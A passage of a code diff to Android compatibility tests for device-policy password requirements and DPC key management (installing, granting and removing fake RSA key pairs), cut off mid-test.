+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordQuality_featureSupported_returnsValueSet() {
+        mDpm.setPasswordQuality(mAdmin, DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC);
+
+        assertWithMessage("getPasswordQuality()").that(mDpm.getPasswordQuality(mAdmin))
+                .isEqualTo(DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumLength_featureUnsupported_ignored() {
+        int valueBefore = mDpm.getPasswordMinimumLength(mAdmin);
+
+        mDpm.setPasswordMinimumLength(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumLength()")
+                .that(mDpm.getPasswordMinimumLength(mAdmin))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumLength_featureSupported_returnsValueSet() {
+        mDpm.setPasswordMinimumLength(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumLength()")
+                .that(mDpm.getPasswordMinimumLength(mAdmin))
+                .isEqualTo(42);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumNumeric_ignored() {
+        int valueBefore = mDpm.getPasswordMinimumNumeric(mAdmin);
+
+        mDpm.setPasswordMinimumNumeric(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumNumeric()")
+                .that(mDpm.getPasswordMinimumNumeric(mAdmin))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumNumeric_returnsValueSet() {
+        mDpm.setPasswordMinimumNumeric(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumNumeric()")
+                .that(mDpm.getPasswordMinimumNumeric(mAdmin))
+                .isEqualTo(42);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumLowerCase_ignored() {
+        int valueBefore = mDpm.getPasswordMinimumLowerCase(mAdmin);
+
+        mDpm.setPasswordMinimumLowerCase(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumLowerCase()")
+                .that(mDpm.getPasswordMinimumLowerCase(mAdmin))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumLowerCase_returnsValueSet() {
+        mDpm.setPasswordMinimumLowerCase(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumLowerCase()")
+                .that(mDpm.getPasswordMinimumLowerCase(mAdmin))
+                .isEqualTo(42);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumUpperCase_ignored() {
+        int valueBefore = mDpm.getPasswordMinimumUpperCase(mAdmin);
+
+        mDpm.setPasswordMinimumUpperCase(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumUpperCase()")
+                .that(mDpm.getPasswordMinimumUpperCase(mAdmin))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumUpperCase_returnsValueSet() {
+        mDpm.setPasswordMinimumUpperCase(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumUpperCase()")
+                .that(mDpm.getPasswordMinimumUpperCase(mAdmin))
+                .isEqualTo(42);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumLetters_ignored() {
+        int valueBefore = mDpm.getPasswordMinimumLetters(mAdmin);
+
+        mDpm.setPasswordMinimumLetters(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumLetters()")
+                .that(mDpm.getPasswordMinimumLetters(mAdmin))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumLetters_returnsValueSet() {
+        mDpm.setPasswordMinimumLetters(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumLetters()")
+                .that(mDpm.getPasswordMinimumLetters(mAdmin))
+                .isEqualTo(42);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumSymbols_ignored() {
+        int valueBefore = mDpm.getPasswordMinimumSymbols(mAdmin);
+
+        mDpm.setPasswordMinimumSymbols(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumSymbols()")
+                .that(mDpm.getPasswordMinimumSymbols(mAdmin))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumSymbols_returnsValueSet() {
+        mDpm.setPasswordMinimumSymbols(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumSymbols()")
+                .that(mDpm.getPasswordMinimumSymbols(mAdmin))
+                .isEqualTo(42);
+    }
+
+    @Test
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumNonLetter_ignored() {
+        int valueBefore = mDpm.getPasswordMinimumNonLetter(mAdmin);
+
+        mDpm.setPasswordMinimumNonLetter(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumNonLetter()")
+                .that(mDpm.getPasswordMinimumNonLetter(mAdmin))
+                .isEqualTo(valueBefore);
+    }
+
+    @Test
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    public void testPasswordMinimumNonLetter_returnsValueSet() {
+        mDpm.setPasswordMinimumNonLetter(mAdmin, 42);
+
+        assertWithMessage("getPasswordMinimumNonLetter()")
+                .that(mDpm.getPasswordMinimumNonLetter(mAdmin))
+                .isEqualTo(42);
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
index e212674..00aea6f 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
@@ -38,7 +38,7 @@
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.remotedpc.RemoteDpc;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
 
 import org.junit.Before;
@@ -89,9 +89,9 @@
     @EnsureHasNoProfileOwner
     public void setDeviceOwnerViaAdb_deviceHasAccount_fails()
             throws InterruptedException {
-        try (TestAppInstanceReference accountAuthenticatorApp =
+        try (TestAppInstance accountAuthenticatorApp =
                      sAccountManagementApp.install(TestApis.users().instrumented());
-            TestAppInstanceReference dpcApp = sDpcApp.install(TestApis.users().instrumented())) {
+             TestAppInstance dpcApp = sDpcApp.install(TestApis.users().instrumented())) {
             addAccount();
 
             assertThrows(AdbException.class, () ->
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
index 4b0912b..fbca7dd 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
@@ -22,10 +22,11 @@
 
 import static org.junit.Assert.assertThrows;
 
+import static java.util.Collections.singleton;
+
 import android.content.Context;
 import android.net.Uri;
-import android.os.Handler;
-import android.os.Looper;
+import android.os.Process;
 import android.security.KeyChain;
 import android.security.KeyChainException;
 
@@ -33,6 +34,7 @@
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.SlowApiTest;
 import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
 import com.android.bedstead.harrier.policies.KeyManagement;
@@ -45,20 +47,23 @@
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
+import org.testng.Assert;
 
 import java.io.ByteArrayInputStream;
 import java.io.UnsupportedEncodingException;
 import java.net.URLEncoder;
+import java.security.InvalidKeyException;
 import java.security.KeyFactory;
 import java.security.NoSuchAlgorithmException;
 import java.security.PrivateKey;
+import java.security.Signature;
 import java.security.cert.Certificate;
 import java.security.cert.CertificateException;
 import java.security.cert.CertificateFactory;
 import java.security.spec.InvalidKeySpecException;
 import java.security.spec.PKCS8EncodedKeySpec;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Test that a DPC can manage keys and certificate on a device by installing, generating and
@@ -68,6 +73,10 @@
 @RunWith(BedsteadJUnit4.class)
 public class KeyManagementTest {
 
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+    private static final int KEYCHAIN_CALLBACK_TIMEOUT_SECONDS = 600;
     private static final String RSA = "RSA";
     private static final String RSA_ALIAS = "com.android.test.valid-rsa-key-1";
     private static final PrivateKey PRIVATE_KEY =
@@ -75,220 +84,8 @@
     private static final Certificate CERTIFICATE =
             generateCertificate(FakeKeys.FAKE_RSA_1.caCertificate);
     private static final Certificate[] CERTIFICATES = new Certificate[]{CERTIFICATE};
-
-    private final ExecutorService mExecutor = Executors.newSingleThreadExecutor();
-    private final Handler mHandler = new Handler(Looper.getMainLooper());
-
-    @ClassRule
-    @Rule
-    public static final DeviceState sDeviceState = new DeviceState();
-
-    @Test
-    @Postsubmit(reason = "new test")
-    @CanSetPolicyTest(policy = KeyManagement.class)
-    public void installKeyPair_validRsaKeyPair_success() throws Exception {
-        try {
-            // Install keypair
-            assertThat(sDeviceState.dpc().devicePolicyManager()
-                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE,
-                            RSA_ALIAS)).isTrue();
-        } finally {
-            // Remove keypair
-            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
-        }
-    }
-
-    @Test
-    @Postsubmit(reason = "new test")
-    @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
-    public void installKeyPair_nullPrivateKey_throwException() throws Exception {
-        assertThrows(NullPointerException.class,
-                () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
-                        DPC_COMPONENT_NAME, /* privKey = */ null, CERTIFICATE, RSA_ALIAS));
-    }
-
-    @Test
-    @Postsubmit(reason = "new test")
-    @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
-    public void installKeyPair_nullCertificate_throwException() throws Exception {
-        assertThrows(NullPointerException.class,
-                () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
-                        DPC_COMPONENT_NAME, PRIVATE_KEY, /* cert = */ null, RSA_ALIAS));
-    }
-
-    @Test
-    @Postsubmit(reason = "new test")
-    @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
-    public void installKeyPair_nullAdminComponent_throwException() throws Exception {
-        assertThrows(SecurityException.class,
-                () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
-                        /* admin = */ null, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS));
-    }
-
-    @Test
-    @Ignore
-    @Postsubmit(reason = "new test")
-    @PositivePolicyTest(policy = KeyManagement.class)
-    public void installKeyPair_withAutomatedAccess_aliasIsGranted() throws Exception {
-        try {
-            // Install keypair with automated access
-            sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
-                    CERTIFICATES, RSA_ALIAS, /* requestAccess = */ true);
-
-            // TODO(b/198407955): Call KeyChain.getPrivateKey with the DPC context and verify
-            // the private key is not null
-        } finally {
-            // Remove keypair
-            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
-        }
-    }
-
-    @Test
-    @Ignore
-    @Postsubmit(reason = "new test")
-    @PositivePolicyTest(policy = KeyManagement.class)
-    public void installKeyPair_withoutAutomatedAccess_aliasIsNotGranted() throws Exception {
-        try {
-            // Install keypair with automated access
-            sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
-                    CERTIFICATES, RSA_ALIAS, /* requestAccess = */ false);
-
-            // TODO(b/198407955): Call KeyChain.getPrivateKey with the DPC context and verify
-            // the private key is null
-        } finally {
-            // Remove keypair
-            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
-        }
-    }
-
-    @Test
-    @Postsubmit(reason = "new test")
-    @CanSetPolicyTest(policy = KeyManagement.class)
-    public void removeKeyPair_validRsaKeyPair_success() throws Exception {
-        try {
-            // Install keypair
-            sDeviceState.dpc().devicePolicyManager()
-                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
-        } finally {
-            // Remove keypair
-            assertThat(sDeviceState.dpc().devicePolicyManager()
-                    .removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS)).isTrue();
-        }
-    }
-
-    @Test
-    @Postsubmit(reason = "new test")
-    @CanSetPolicyTest(policy = KeyManagement.class)
-    public void hasKeyPair_nonExistentAlias_false() throws Exception {
-        assertThat(sDeviceState.dpc().devicePolicyManager().hasKeyPair(RSA_ALIAS)).isFalse();
-    }
-
-    @Test
-    @Postsubmit(reason = "new test")
-    @CanSetPolicyTest(policy = KeyManagement.class)
-    public void hasKeyPair_installedAlias_true() throws Exception {
-        try {
-            // Install keypair
-            sDeviceState.dpc().devicePolicyManager()
-                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
-
-            assertThat(sDeviceState.dpc().devicePolicyManager().hasKeyPair(RSA_ALIAS)).isTrue();
-        } finally {
-            // Remove keypair
-            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
-        }
-    }
-
-    @Test
-    @Postsubmit(reason = "new test")
-    @CanSetPolicyTest(policy = KeyManagement.class)
-    public void hasKeyPair_removedAlias_false() {
-        try {
-            // Install keypair
-            sDeviceState.dpc().devicePolicyManager()
-                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
-            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
-
-            assertThat(sDeviceState.dpc().devicePolicyManager().hasKeyPair(RSA_ALIAS)).isFalse();
-        } finally {
-            // Remove keypair
-            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
-        }
-    }
-
-    @Test
-    @Postsubmit(reason = "new test")
-    @PositivePolicyTest(policy = KeyManagement.class)
-    public void choosePrivateKeyAlias_aliasIsSelectedByAdmin_returnAlias() throws Exception {
-        try {
-            // Install keypair
-            sDeviceState.dpc().devicePolicyManager()
-                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
-            KeyChainAliasCallback callback = new KeyChainAliasCallback();
-
-            choosePrivateKeyAlias(callback, RSA_ALIAS);
-
-            assertThat(callback.await()).isEqualTo(RSA_ALIAS);
-        } finally {
-            // Remove keypair
-            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
-        }
-    }
-
-    @Test
-    @Postsubmit(reason = "new test")
-    @PositivePolicyTest(policy = KeyManagement.class)
-    public void choosePrivateKeyAlias_nonUserSelectedAliasIsSelectedByAdmin_returnAlias()
-            throws Exception {
-        try {
-            // Install keypair which is not user selectable
-            sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
-                    CERTIFICATES, RSA_ALIAS, /* flags = */ 0);
-            KeyChainAliasCallback callback = new KeyChainAliasCallback();
-
-            choosePrivateKeyAlias(callback, RSA_ALIAS);
-
-            assertThat(callback.await()).isEqualTo(RSA_ALIAS);
-        } finally {
-            // Remove keypair
-            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
-        }
-    }
-
-    @Test
-    @Postsubmit(reason = "new test")
-    @PositivePolicyTest(policy = KeyManagement.class)
-    public void getPrivateKey_aliasIsGranted_returnPrivateKey() throws Exception {
-        try {
-            // Install keypair
-            sDeviceState.dpc().devicePolicyManager()
-                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
-            // Grant alias via {@code KeyChain.choosePrivateKeyAlias}
-            KeyChainAliasCallback callback = new KeyChainAliasCallback();
-            choosePrivateKeyAlias(callback, RSA_ALIAS);
-            callback.await();
-
-            // Get private key for the granted alias
-            final PrivateKey privateKey =
-                    getPrivateKey(TestApis.context().instrumentedContext(), RSA_ALIAS);
-
-            assertThat(privateKey).isNotNull();
-            assertThat(privateKey.getAlgorithm()).isEqualTo(RSA);
-
-        } finally {
-            // Remove keypair
-            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
-        }
-    }
-
-    private static class KeyChainAliasCallback extends BlockingCallback<String> implements
-            android.security.KeyChainAliasCallback {
-
-        @Override
-        public void alias(final String chosenAlias) {
-            callbackTriggered(chosenAlias);
-        }
-    }
+    private static final String NON_EXISTENT_ALIAS = "KeyManagementTest-nonexistent";
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     private static Uri getUri(String alias) {
         try {
@@ -337,4 +134,441 @@
             throw new AssertionError("Unable to get certificate." + e);
         }
     }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void installKeyPair_validRsaKeyPair_success() {
+        try {
+            // Install keypair
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE,
+                            RSA_ALIAS)).isTrue();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
+    public void installKeyPair_nullPrivateKey_throwException() {
+        assertThrows(NullPointerException.class,
+                () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                        DPC_COMPONENT_NAME, /* privKey = */ null, CERTIFICATE, RSA_ALIAS));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
+    public void installKeyPair_nullCertificate_throwException() {
+        assertThrows(NullPointerException.class,
+                () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                        DPC_COMPONENT_NAME, PRIVATE_KEY, /* cert = */ null, RSA_ALIAS));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
+    public void installKeyPair_nullAdminComponent_throwException() {
+        assertThrows(SecurityException.class,
+                () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                        /* admin = */ null, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS));
+    }
+
+    @Test
+    @Ignore("TODO(b/204544463): Enable when the key can be serialized")
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void installKeyPair_withAutomatedAccess_aliasIsGranted() throws Exception {
+        try {
+            // Install keypair with automated access
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
+                    CERTIFICATES, RSA_ALIAS, /* requestAccess = */ true);
+
+            // TODO(b/204544478): Remove the null context
+            assertThat(sDeviceState.dpc().keyChain().getPrivateKey(/* context= */ null, RSA_ALIAS))
+                    .isNotNull();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void installKeyPair_withoutAutomatedAccess_aliasIsNotGranted() throws Exception {
+        try {
+            // Install keypair with automated access
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
+                    CERTIFICATES, RSA_ALIAS, /* requestAccess = */ false);
+
+            // TODO(b/204544478): Remove the null context
+            assertThat(sDeviceState.dpc().keyChain().getPrivateKey(/* context= */ null, RSA_ALIAS))
+                    .isNull();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void removeKeyPair_validRsaKeyPair_success() {
+        try {
+            // Install keypair
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+        } finally {
+            // Remove keypair
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS)).isTrue();
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void hasKeyPair_nonExistentAlias_false() {
+        assertThat(
+                sDeviceState.dpc().devicePolicyManager().hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void hasKeyPair_installedAlias_true() {
+        try {
+            // Install keypair
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().hasKeyPair(RSA_ALIAS)).isTrue();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void hasKeyPair_removedAlias_false() {
+        try {
+            // Install keypair
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().hasKeyPair(RSA_ALIAS)).isFalse();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = KeyManagement.class)
+    @SlowApiTest(reason = "The KeyChain.choosePrivateKeyAlias API sometimes "
+            + "takes a long time to callback")
+    public void choosePrivateKeyAlias_aliasIsSelectedByAdmin_returnAlias() throws Exception {
+        try {
+            // Install keypair
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+            KeyChainAliasCallback callback = new KeyChainAliasCallback();
+
+            choosePrivateKeyAlias(callback, RSA_ALIAS);
+
+            assertThat(callback.await(KEYCHAIN_CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS))
+                    .isEqualTo(RSA_ALIAS);
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = KeyManagement.class)
+    @SlowApiTest(reason = "The KeyChain.choosePrivateKeyAlias API sometimes "
+            + "takes a long time to callback")
+    public void choosePrivateKeyAlias_nonUserSelectedAliasIsSelectedByAdmin_returnAlias()
+            throws Exception {
+        try {
+            // Install keypair which is not user selectable
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
+                    CERTIFICATES, RSA_ALIAS, /* flags = */ 0);
+            KeyChainAliasCallback callback = new KeyChainAliasCallback();
+
+            choosePrivateKeyAlias(callback, RSA_ALIAS);
+
+            assertThat(callback.await(KEYCHAIN_CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS))
+                    .isEqualTo(RSA_ALIAS);
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = KeyManagement.class)
+    @SlowApiTest(reason = "The KeyChain.choosePrivateKeyAlias API sometimes "
+            + "takes a long time to callback")
+    public void getPrivateKey_aliasIsGranted_returnPrivateKey() throws Exception {
+        try {
+            // Install keypair
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+            // Grant alias via {@code KeyChain.choosePrivateKeyAlias}
+            KeyChainAliasCallback callback = new KeyChainAliasCallback();
+            choosePrivateKeyAlias(callback, RSA_ALIAS);
+            callback.await(KEYCHAIN_CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+            // Get private key for the granted alias
+            final PrivateKey privateKey =
+                    getPrivateKey(TestApis.context().instrumentedContext(), RSA_ALIAS);
+
+            assertThat(privateKey).isNotNull();
+            assertThat(privateKey.getAlgorithm()).isEqualTo(RSA);
+
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void install_wasPreviouslyGrantedOnPreviousInstall_grantDoesNotPersist()
+            throws Exception {
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES, RSA_ALIAS, true);
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+
+            sDeviceState.dpc().devicePolicyManager()
+                    .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES, RSA_ALIAS,
+                            false);
+
+            assertThat(sDeviceState.dpc().keyChain().getPrivateKey(
+                    TestApis.context().instrumentedContext(), RSA_ALIAS))
+                    .isNull();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
+    public void getKeyPairGrants_nonExistent_throwsIllegalArgumentException() {
+        Assert.assertThrows(IllegalArgumentException.class,
+                () -> sDeviceState.dpc().devicePolicyManager()
+                        .getKeyPairGrants(NON_EXISTENT_ALIAS));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void getKeyPairGrants_doesNotIncludeNotGranted() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+
+            assertThat(
+                    sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS)).isEmpty();
+        } finally {
+            // Remove keypair
